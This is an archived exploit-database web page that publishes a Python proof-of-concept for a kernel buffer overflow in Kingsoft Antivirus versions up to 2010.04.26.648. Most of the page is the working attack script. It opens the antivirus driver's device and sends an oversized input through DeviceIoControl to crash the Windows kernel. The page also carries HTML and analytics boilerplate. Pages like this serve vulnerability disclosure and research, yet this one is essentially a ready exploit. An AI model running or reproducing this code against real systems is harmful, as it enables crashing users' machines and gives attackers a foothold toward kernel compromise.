Home / os / win7

[dos / poc] - Kingsoft Antivirus <= 2010.04.26.648 Kernel

Posted on 12 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Kingsoft Antivirus &lt;= 2010.04.26.648 Kernel Buffer Overflow Exploit | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: dos / poc | Exploit author: Lufeng Li' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>===================================================================
Kingsoft Antivirus &lt;= 2010.04.26.648 Kernel Buffer Overflow Exploit
===================================================================

#!/usr/bin/python
 
#################################################################
#
# Title: Kingsoft Antivirus Kernel Buffer Overflow Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.duba.net
# Platform: Windows XPSP3 Chinese Simplified
# Tested: Kingsoft Antivirus v2010.04.26.648
# Vulnerable: Kingsoft Antivirus &lt;=v2010.04.26.648
# Vulnerable App: http://down10b.zol.com.cn/shadu/KAV100625_DOWN_10_166.zip?key=314e0cb9ea82720d90caae96bb918009
#################################################################
# Code :
from ctypes import *
 
kernel32 = windll.kernel32
Psapi    = windll.Psapi
 
if __name__ == &#039;__main__&#039;:
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    CREATE_ALWAYS = 0x2
 
    DEVICE_NAME   = &quot;\\.\kavfm&quot;
    dwReturn      = c_ulong()
    out_size      = 1024
    in_size       = 1024
    in_data       = &#039;&#039;
    driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
                        0, None, CREATE_ALWAYS, 0, None)
    in_data=1024*&#039;x80&#039;
    dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0x80030004, in_data,500, 0, 0,byref(dwReturn), None)


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-12]</pre></body></html>

 

TOP

Malware :

Exploits :